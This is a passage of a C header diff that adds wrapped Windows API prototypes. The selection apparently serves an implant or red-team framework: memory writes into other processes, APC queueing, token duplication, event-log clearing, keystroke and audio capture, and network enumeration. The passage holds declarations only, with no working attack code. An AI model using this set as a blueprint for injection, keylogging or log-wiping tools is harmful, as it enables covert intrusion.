NumberOfBytesToRead, PULONG NumberOfBytesRead); +NTSTATUS winapi_ntdll_ZwWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten); +NTSTATUS winapi_ntdll_ZwFlushInstructionCache(HANDLE ProcessHandle, LPCVOID BaseAddress, SIZE_T NumberOfBytesToFlush); +NTSTATUS winapi_ntdll_ZwReadVirtualMemory(HANDLE ProcessHandle, LPCVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead); NTSTATUS winapi_ntdll_ZwProtectVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect); NTSTATUS winapi_ntdll_ZwQueryVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID MemoryInformation, SIZE_T MemoryInformationLength, PSIZE_T ReturnLength); NTSTATUS winapi_ntdll_ZwFreeVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); NTSTATUS winapi_ntdll_ZwQueueApcThread(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2); NTSTATUS winapi_ntdll_ZwOpenThread(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); NTSTATUS winapi_ntdll_RtlGetVersion(PRTL_OSVERSIONINFOEXW os); +ULONG winapi_ntdll_RtlNtStatusToDosError(NTSTATUS Status); NTSTATUS winapi_ntdll_ZwQueryInformationProcess(HANDLE ProcessHandle, INT ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); NTSTATUS winapi_ntdll_ZwQueryObject(HANDLE Handle, INT ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength); NTSTATUS winapi_ntdll_ZwQueryInformationWorkerFactory(HANDLE WorkerFactoryHandle, INT WorkerFactoryInformationClass, PVOID WorkerFactoryInformation, ULONG WorkerFactoryInformationLength, PULONG ReturnLength); @@ -309,6 +532,10 @@ BOOL winapi_advapi32_LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, BOOL winapi_advapi32_CryptAcquireContextA(HCRYPTPROV* phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags); BOOL winapi_advapi32_CryptAcquireContextW(HCRYPTPROV* phProv, LPCWSTR szContainer, LPCWSTR szProvider, DWORD dwProvType, DWORD dwFlags); BOOL winapi_advapi32_AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD AceFlags, DWORD MandatoryPolicy, PSID pLabelSid); +BOOL winapi_advapi32_CryptCreateHash(HCRYPTPROV hProv, ALG_ID Algid, HCRYPTKEY hKey, DWORD dwFlags, HCRYPTHASH* phHash); +BOOL winapi_advapi32_CryptDestroyHash(HCRYPTHASH hHash); +BOOL winapi_advapi32_CryptGetHashParam(HCRYPTHASH hHash, DWORD dwParam, BYTE* pbData, DWORD* pdwDataLen, DWORD dwFlags); +BOOL winapi_advapi32_CryptHashData(HCRYPTHASH hHash, const BYTE* pbData, DWORD dwDataLen, DWORD dwFlags); BOOL winapi_crypt32_CryptDecodeObjectEx(DWORD dwCertEncodingType, LPCSTR lpszStructType, const BYTE* pbEncoded, DWORD cbEncoded, DWORD dwFlags, PCRYPT_DECODE_PARA pDecodePara, void* pvStructInfo, DWORD* pcbStructInfo); BOOL winapi_crypt32_CryptImportPublicKeyInfo(HCRYPTPROV hCryptProv, DWORD dwCertEncodingType, PCERT_PUBLIC_KEY_INFO pInfo, HCRYPTKEY* phKey); BOOL winapi_crypt32_CertGetCertificateContextProperty(PCCERT_CONTEXT pCertContext, DWORD dwPropId, void* pvData, DWORD* pcbData); @@ -370,12 +597,224 @@ HANDLE winapi_kernel32_CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOO HANDLE winapi_kernel32_CreateMutexW(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName); BOOL winapi_kernel32_TerminateThread(HANDLE hThread, DWORD dwExitCode); int winapi_kernel32_lstrcmpW(LPCWSTR lpString1, LPCWSTR lpString2); +DWORD winapi_kernel32_GetLastError(VOID); HWINSTA winapi_user32_GetProcessWindowStation(VOID); int winapi_ws2_32_WSAGetLastError(VOID); char* winapi_ws2_32_inet_ntoa(struct in_addr in); BOOL winapi_wininet_HttpQueryInfoA(HINTERNET hRequest, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); BOOL winapi_crypt32_CryptBinaryToStringA(const BYTE* pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD* pcchString); BOOL winapi_crypt32_CryptStringToBinaryA(LPCSTR pszString, DWORD cchString, DWORD dwFlags, BYTE* pbBinary, DWORD* pcbBinary, DWORD* pdwSkip, DWORD* pdwFlags); - + +BOOL winapi_kernel32_CopyFileW(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName, BOOL bFailIfExists); +BOOL winapi_kernel32_CreateDirectoryW(LPCWSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes); +BOOL winapi_kernel32_DeleteFileA(LPCSTR lpFileName); +BOOL winapi_kernel32_DeleteFileW(LPCWSTR lpFileName); +BOOL winapi_kernel32_DisconnectNamedPipe(HANDLE hNamedPipe); +DWORD winapi_kernel32_ExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, DWORD nSize); +DWORD winapi_kernel32_ExpandEnvironmentStringsW(LPCWSTR lpSrc, LPWSTR lpDst, DWORD nSize); +BOOL winapi_kernel32_FileTimeToSystemTime(const FILETIME* lpFileTime, LPSYSTEMTIME lpSystemTime); +BOOL winapi_kernel32_FindClose(HANDLE hFindFile); +HANDLE winapi_kernel32_FindFirstFileW(LPCWSTR lpFileName, LPWIN32_FIND_DATAW lpFindFileData); +BOOL winapi_kernel32_FindNextFileW(HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); +HRSRC winapi_kernel32_FindResourceA(HMODULE hModule, LPCSTR lpName, LPCSTR lpType); +DWORD winapi_kernel32_GetCurrentDirectoryW(DWORD nBufferLength, LPWSTR lpBuffer); +DWORD winapi_kernel32_GetCurrentProcessId(VOID); +int winapi_kernel32_GetDateFormatW(LCID Locale, DWORD dwFlags, const SYSTEMTIME* lpDate, LPCWSTR lpFormat, LPWSTR lpDateStr, int cchDate); +BOOL winapi_kernel32_GetDiskFreeSpaceExA(LPCSTR lpDirectoryName, PULARGE_INTEGER lpFreeBytesAvailableToCaller, PULARGE_INTEGER lpTotalNumberOfBytes, PULARGE_INTEGER lpTotalNumberOfFreeBytes); +UINT winapi_kernel32_GetDriveTypeA(LPCSTR lpRootPathName); +UINT winapi_kernel32_GetDriveTypeW(LPCWSTR lpRootPathName); +BOOL winapi_kernel32_GetExitCodeThread(HANDLE hThread, LPDWORD lpExitCode); +DWORD winapi_kernel32_GetFileAttributesA(LPCSTR lpFileName); +BOOL winapi_kernel32_GetFileAttributesExW(LPCWSTR lpFileName, GET_FILEEX_INFO_LEVELS fInfoLevelId, LPVOID lpFileInformation); +DWORD winapi_kernel32_GetFileAttributesW(LPCWSTR lpFileName); +BOOL winapi_kernel32_GetHandleInformation(HANDLE hObject, LPDWORD lpdwFlags); +DWORD winapi_kernel32_GetLogicalDriveStringsA(DWORD nBufferLength, LPSTR lpBuffer); +DWORD winapi_kernel32_GetLogicalDrives(VOID); +FARPROC winapi_kernel32_GetProcAddress(HMODULE hModule, LPCSTR lpProcName); +LCID winapi_kernel32_GetSystemDefaultLCID(VOID); +DWORD winapi_kernel32_GetTickCount(VOID); +int winapi_kernel32_GetTimeFormatW(LCID Locale, DWORD dwFlags, const SYSTEMTIME* lpTime, LPCWSTR lpFormat, LPWSTR lpTimeStr, int cchTime); +BOOL winapi_kernel32_GetVersionExA(LPOSVERSIONINFOA lpVersionInformation); +HGLOBAL winapi_kernel32_LoadResource(HMODULE hModule, HRSRC hResInfo); +LPVOID winapi_kernel32_LockResource(HGLOBAL hResData); +VOID winapi_kernel32_OutputDebugStringW(LPCWSTR lpOutputString); +BOOL winapi_kernel32_MoveFileW(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName); +BOOL winapi_kernel32_RemoveDirectoryW(LPCWSTR lpPathName); +BOOL winapi_kernel32_SetCurrentDirectoryW(LPCWSTR lpPathName); +BOOL winapi_kernel32_SetFileAttributesW(LPCWSTR lpFileName, DWORD dwFileAttributes); +VOID winapi_kernel32_SetLastError(DWORD dwErrCode); +DWORD winapi_kernel32_SizeofResource(HMODULE hModule, HRSRC hResInfo); +int winapi_kernel32_lstrcmpiW(LPCWSTR lpString1, LPCWSTR lpString2); +LPWSTR winapi_kernel32_lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2); +int winapi_kernel32_lstrlenA(LPCSTR lpString); +int winapi_kernel32_lstrlenW(LPCWSTR lpString); +PVOID winapi_kernel32_InterlockedExchangePointer(PVOID volatile* Target, PVOID Value); +DWORD winapi_kernel32_FormatMessageA(DWORD dwFlags, LPCVOID lpSource, DWORD dwMessageId, DWORD dwLanguageId, LPSTR lpBuffer, DWORD nSize, va_list* Arguments); +BOOL winapi_kernel32_CreatePipe(PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize); +BOOL winapi_kernel32_CreateProcessW(LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +BOOL winapi_kernel32_GetComputerNameA(LPSTR lpBuffer, LPDWORD nSize); +HANDLE winapi_kernel32_GetCurrentProcess(VOID); +HANDLE winapi_kernel32_GetCurrentThread(VOID); +DWORD winapi_kernel32_GetEnvironmentVariableW(LPCWSTR lpName, LPWSTR lpBuffer, DWORD nSize); +VOID winapi_kernel32_GetLocalTime(LPSYSTEMTIME lpSystemTime); +int winapi_kernel32_GetLocaleInfoA(LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData); +BOOL winapi_kernel32_GetThreadContext(HANDLE hThread, LPCONTEXT lpContext); +DWORD winapi_kernel32_GetTimeZoneInformation(LPTIME_ZONE_INFORMATION lpTimeZoneInformation); +BOOL winapi_kernel32_SetThreadContext(HANDLE hThread, const CONTEXT* lpContext); +BOOL winapi_kernel32_TerminateProcess(HANDLE hProcess, UINT uExitCode); +BOOL winapi_kernel32_VirtualLock(LPVOID lpAddress, SIZE_T dwSize); +BOOL winapi_kernel32_VirtualUnlock(LPVOID lpAddress, SIZE_T dwSize); +DWORD winapi_kernel32_WaitForSingleObjectEx(HANDLE hHandle, DWORD dwMilliseconds, BOOL bAlertable); + +BOOL winapi_advapi32_RevertToSelf(VOID); +BOOL winapi_advapi32_ClearEventLogA(HANDLE hEventLog, LPCSTR lpBackupFileName); +BOOL winapi_advapi32_CloseEventLog(HANDLE hEventLog); +BOOL winapi_advapi32_ConvertSidToStringSidA(PSID Sid, LPSTR* StringSid); +BOOL winapi_advapi32_CreateProcessAsUserW(HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); +BOOL winapi_advapi32_DuplicateTokenEx(HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken); +BOOL winapi_advapi32_GetNumberOfEventLogRecords(HANDLE hEventLog, PDWORD NumberOfRecords); +BOOL winapi_advapi32_GetOldestEventLogRecord(HANDLE hEventLog, PDWORD OldestRecord); +BOOL winapi_advapi32_GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); +BOOL winapi_advapi32_LookupAccountSidW(LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); +BOOL winapi_advapi32_LookupPrivilegeValueA(LPCSTR lpSystemName, LPCSTR lpName, PLUID lpLuid); +HANDLE winapi_advapi32_OpenEventLogA(LPCSTR lpUNCServerName, LPCSTR lpSourceName); +BOOL winapi_advapi32_ReadEventLogA(HANDLE hEventLog, DWORD dwReadFlags, DWORD dwRecordOffset, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, DWORD* pnBytesRead, DWORD* pnMinNumberOfBytesNeeded); +LSTATUS winapi_advapi32_RegCloseKey(HKEY hKey); +LSTATUS winapi_advapi32_RegConnectRegistryW(LPCWSTR lpMachineName, HKEY hKey, PHKEY phkResult); +LSTATUS winapi_advapi32_RegCreateKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD Reserved, LPWSTR lpClass, DWORD dwOptions, REGSAM samDesired, const LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); +LSTATUS winapi_advapi32_RegDeleteKeyW(HKEY hKey, LPCWSTR lpSubKey); +LSTATUS winapi_advapi32_RegDeleteValueW(HKEY hKey, LPCWSTR lpValueName); +LSTATUS winapi_advapi32_RegEnumKeyW(HKEY hKey, DWORD dwIndex, LPWSTR lpName, DWORD cchName); +LSTATUS winapi_advapi32_RegEnumValueW(HKEY hKey, DWORD dwIndex, LPWSTR lpValueName, LPDWORD lpcchValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData); +LSTATUS winapi_advapi32_RegLoadKeyW(HKEY hKey, LPCWSTR lpSubKey, LPCWSTR lpFile); +LSTATUS winapi_advapi32_RegOpenKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); +LSTATUS winapi_advapi32_RegQueryInfoKeyA(HKEY hKey, LPSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime); +LSTATUS winapi_advapi32_RegQueryInfoKeyW(HKEY hKey, LPWSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime); +LSTATUS winapi_advapi32_RegQueryValueExW(HKEY hKey, LPCWSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData); +LSTATUS winapi_advapi32_RegSetValueExW(HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData); +LSTATUS winapi_advapi32_RegUnLoadKeyW(HKEY hKey, LPCWSTR lpSubKey); + +BOOL winapi_user32_CloseDesktop(HDESK hDesktop); +BOOL winapi_user32_CloseWindowStation(HWINSTA hWinSta); +HWND winapi_user32_CreateWindowExA(DWORD dwExStyle, LPCSTR lpClassName, LPCSTR lpWindowName, DWORD dwStyle, int X, int Y, int nWidth, int nHeight, HWND hWndParent, HMENU hMenu, HINSTANCE hInstance, LPVOID lpParam); +LRESULT winapi_user32_DefWindowProcA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); +BOOL winapi_user32_DestroyWindow(HWND hWnd); +LRESULT winapi_user32_DispatchMessageA(const MSG* lpMsg); +BOOL winapi_user32_EnumChildWindows(HWND hWndParent, WNDENUMPROC lpEnumFunc, LPARAM lParam); +BOOL winapi_user32_EnumDesktopsA(HWINSTA hwinsta, DESKTOPENUMPROCA lpEnumFunc, LPARAM lParam); +BOOL winapi_user32_EnumWindowStationsA(WINSTAENUMPROCA lpEnumFunc, LPARAM lParam); +BOOL winapi_user32_ExitWindowsEx(UINT uFlags, DWORD dwReason); +SHORT winapi_user32_GetAsyncKeyState(int vKey); +HWND winapi_user32_GetForegroundWindow(VOID); +BOOL winapi_user32_GetKeyboardState(PBYTE lpKeyState); +int winapi_user32_GetKeyNameTextW(LONG lParam, LPWSTR lpString, int cchSize); +SHORT winapi_user32_GetKeyState(int nVirtKey); +BOOL winapi_user32_GetMessageA(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax); +int winapi_user32_GetSystemMetrics(int nIndex); +DWORD winapi_user32_GetWindowThreadProcessId(HWND hWnd, LPDWORD lpdwProcessId); +UINT winapi_user32_MapVirtualKeyA(UINT uCode, UINT uMapType); +HDESK winapi_user32_OpenDesktopA(LPCSTR lpszDesktop, DWORD dwFlags, BOOL fInherit, ACCESS_MASK dwDesiredAccess); +HWINSTA winapi_user32_OpenWindowStationA(LPCSTR lpszWinSta, BOOL fInherit, ACCESS_MASK dwDesiredAccess); +ATOM winapi_user32_RegisterClassExA(const WNDCLASSEXA* unnamedParam1); +UINT winapi_user32_SendInput(UINT cInputs, LPINPUT pInputs, int cbSize); +LRESULT winapi_user32_SendMessageA(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam); +BOOL winapi_user32_SetProcessWindowStation(HWINSTA hWinSta); +BOOL winapi_user32_SetThreadDesktop(HDESK hDesktop); +BOOL winapi_user32_SwitchDesktop(HDESK hDesktop); +int winapi_user32_ToUnicodeEx(UINT wVirtKey, UINT wScanCode, const BYTE* lpKeyState, LPWSTR pwszBuff, int cchBuff, UINT wFlags, HKL dwhkl); +BOOL winapi_user32_TranslateMessage(const MSG* lpMsg); +BOOL winapi_user32_UnregisterClassA(LPCSTR lpClassName, HINSTANCE hInstance); +int winapi_user32_wsprintfW(LPWSTR unnamedParam1, LPCWSTR unnamedParam2, ...); + +int winapi_ws2_32_getsockname(SOCKET s, struct sockaddr* name, int* namelen); +u_short winapi_ws2_32_ntohs(u_short netshort); +int winapi_ws2_32_recvfrom(SOCKET s, char* buf, int len, int flags, struct sockaddr* from, int* fromlen); +int winapi_ws2_32_sendto(SOCKET s, const char* buf, int len, int flags, const struct sockaddr* to, int tolen); +int winapi_ws2_32_shutdown(SOCKET s, int how); +INT winapi_ws2_32_WSAAddressToStringA(LPSOCKADDR lpsaAddress, DWORD dwAddressLength, LPWSAPROTOCOL_INFOA lpProtocolInfo, LPSTR lpszAddressString, LPDWORD lpdwAddressStringLength); +int winapi_ws2_32_WSACleanup(VOID); +WSAEVENT winapi_ws2_32_WSACreateEvent(VOID); +int winapi_ws2_32_WSAEventSelect(SOCKET s, WSAEVENT hEventObject, long lNetworkEvents); +VOID winapi_ws2_32_WSASetLastError(int iError); +SOCKET winapi_ws2_32_WSASocketA(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags); + +DWORD winapi_iphlpapi_CreateIpForwardEntry(PMIB_IPFORWARDROW pRoute); +DWORD winapi_iphlpapi_DeleteIpForwardEntry(PMIB_IPFORWARDROW pRoute); +DWORD winapi_iphlpapi_GetIfEntry(PMIB_IFROW pIfRow); +DWORD winapi_iphlpapi_GetIpAddrTable(PMIB_IPADDRTABLE pIpAddrTable, PULONG pdwSize, BOOL bOrder); +DWORD winapi_iphlpapi_GetIpForwardTable(PMIB_IPFORWARDTABLE pIpForwardTable, PULONG pdwSize, BOOL bOrder); +NETIO_STATUS winapi_iphlpapi_GetIpInterfaceEntry(PMIB_IPINTERFACE_ROW Row); +ULONG winapi_iphlpapi_GetIpNetTable(PMIB_IPNETTABLE IpNetTable, PULONG SizePointer, BOOL Order); +ULONG winapi_iphlpapi_GetTcpTable(PMIB_TCPTABLE TcpTable, PULONG SizePointer, BOOL Order); +ULONG winapi_iphlpapi_GetUdpTable(PMIB_UDPTABLE UdpTable, PULONG SizePointer, BOOL Order); + +DWORD winapi_mpr_WNetGetUniversalNameA(LPCSTR lpLocalPath, DWORD dwInfoLevel, LPVOID lpBuffer, LPDWORD lpBufferSize); + +HRESULT winapi_ole32_CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv); +HRESULT winapi_ole32_CoInitialize(LPVOID pvReserved); +VOID winapi_ole32_CoUninitialize(VOID); + +HRESULT winapi_oleaut32_VariantClear(VARIANTARG* pvarg); +VOID winapi_oleaut32_VariantInit(VARIANTARG* pvarg); + +BOOL winapi_winmm_sndPlaySoundA(LPCSTR pszSound, UINT fuSound); +MMRESULT winapi_winmm_waveInAddBuffer(HWAVEIN hwi, LPWAVEHDR pwh, UINT cbwh); +MMRESULT winapi_winmm_waveInOpen(LPHWAVEIN phwi, UINT uDeviceID, LPCWAVEFORMATEX pwfx, DWORD_PTR dwCallback, DWORD_PTR dwInstance, DWORD fdwOpen); +MMRESULT winapi_winmm_waveInPrepareHeader(HWAVEIN hwi, LPWAVEHDR pwh, UINT cbwh); +MMRESULT winapi_winmm_waveInStart(HWAVEIN hwi); +MMRESULT winapi_winmm_waveInStop(HWAVEIN hwi); + +NET_API_STATUS winapi_netapi32_NetApiBufferFree(LPVOID Buffer); +NET_API_STATUS winapi_netapi32_NetWkstaGetInfo(LMSTR servername, DWORD level, LPBYTE* bufptr); + +BOOL winapi_psapi_EnumDeviceDrivers(LPVOID* lpImageBase, DWORD cb, LPDWORD lpcbNeeded); +DWORD winapi_psapi_GetDeviceDriverBaseNameW(LPVOID ImageBase, LPWSTR lpBaseName, DWORD nSize); +DWORD winapi_psapi_GetDeviceDriverFileNameW(LPVOID ImageBase, LPWSTR lpFilename, DWORD nSize); + +LSTATUS winapi_shlwapi_SHDeleteKeyW(HKEY hkey, LPCWSTR pszSubKey); + +NTSTATUS winapi_ntdll_ZwUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress); + +BOOL winapi_kernel32_Process32FirstW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe); +BOOL winapi_kernel32_Process32NextW(HANDLE hSnapshot, LPPROCESSENTRY32W lppe); +VOID winapi_kernel32_GetNativeSystemInfo(LPSYSTEM_INFO lpSystemInfo); +BOOL winapi_kernel32_QueryFullProcessImageNameW(HANDLE hProcess, DWORD dwFlags, LPWSTR lpExeName, PDWORD lpdwSize); +BOOL winapi_kernel32_InitializeProcThreadAttributeList(LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize); +BOOL winapi_kernel32_UpdateProcThreadAttribute(LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize); +LANGID winapi_kernel32_GetSystemDefaultLangID(VOID); +DWORD winapi_kernel32_WTSGetActiveConsoleSessionId(VOID); +FARPROC winapi_kernel32_GetLoadLibraryAExportAddress(VOID); +FARPROC winapi_kernel32_GetProcAddressExportAddress(VOID); +FARPROC winapi_kernel32_GetFreeLibraryExportAddress(VOID); + +BOOL winapi_advapi32_CreateProcessWithTokenW(HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); + +BOOL winapi_user32_GetLastInputInfo(PLASTINPUTINFO plii); +UINT winapi_user32_GetRawInputData(HRAWINPUT hRawInput, UINT uiCommand, LPVOID pData, PUINT pcbSize, UINT cbSizeHeader); +BOOL winapi_user32_RegisterRawInputDevices(PCRAWINPUTDEVICE pRawInputDevices, UINT uiNumDevices, UINT cbSize); + +ULONG winapi_iphlpapi_GetAdaptersAddresses(ULONG Family, ULONG Flags, PVOID Reserved, PIP_ADAPTER_ADDRESSES AdapterAddresses, PULONG SizePointer); +DWORD winapi_iphlpapi_GetExtendedTcpTable(PVOID pTcpTable, PDWORD pdwSize, BOOL bOrder, ULONG ulAf, TCP_TABLE_CLASS TableClass, ULONG Reserved); +DWORD winapi_iphlpapi_GetExtendedUdpTable(PVOID pUdpTable, PDWORD pdwSize, BOOL bOrder, ULONG ulAf, UDP_TABLE_CLASS TableClass, ULONG Reserved); +VOID winapi_iphlpapi_FreeMibTable(PVOID Memory); +NETIO_STATUS winapi_iphlpapi_GetIpForwardTable2(ADDRESS_FAMILY Family, PMIB_IPFORWARD_TABLE2* Table); +DWORD winapi_iphlpapi_GetBestInterface(IPAddr dwDestAddr, PDWORD pdwBestIfIndex); + +BOOL winapi_psapi_EnumProcesses(DWORD* lpidProcess, DWORD cb, LPDWORD lpcbNeeded); +BOOL winapi_psapi_EnumProcessModules(HANDLE hProcess, HMODULE* lphModule, DWORD cb, LPDWORD lpcbNeeded); +DWORD winapi_psapi_GetModuleBaseNameA(HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize); +DWORD winapi_psapi_GetModuleBaseNameW(HANDLE hProcess, HMODULE hModule, LPWSTR lpBaseName, DWORD nSize); +DWORD winapi_psapi_GetModuleFileNameExA(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize); +DWORD winapi_psapi_GetModuleFileNameExW(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize); +DWORD winapi_psapi_GetProcessImageFileNameW(HANDLE hProcess, LPWSTR lpImageFileName, DWORD nSize); + +BOOL winapi_userenv_CreateEnvironmentBlock(LPVOID* lpEnvironment, HANDLE hToken, BOOL bInherit); +BOOL winapi_userenv_DestroyEnvironmentBlock(LPVOID lpEnvironment); + +BOOL winapi_wtsapi32_WTSQueryUserToken(ULONG SessionId, PHANDLE phToken); + +HRESULT winapi_query_LocateCatalogsW(LPCWSTR pwszScope, ULONG iBmk, LPWSTR pwszMachine, PULONG pcMachine, LPWSTR pwszCatalog, PULONG pcCatalog); +HRESULT winapi_query_CIMakeICommand(PVOID* ppCommand, ULONG cScope, DWORD* pdwDepths, LPWSTR* ppwszScopes, LPWSTR* ppwszCatalogs, LPWSTR* ppwszMachines); +HRESULT winapi_query_CITextToFullTree(LPCWSTR pwszRestriction, LPCWSTR pwszColumns, LPCWSTR pwszSortColumns, LPCWSTR pwszGroupings, PVOID* ppTree, ULONG cProperties, LPVOID* pPropertyDefinitions, LCID LocaleID); #endif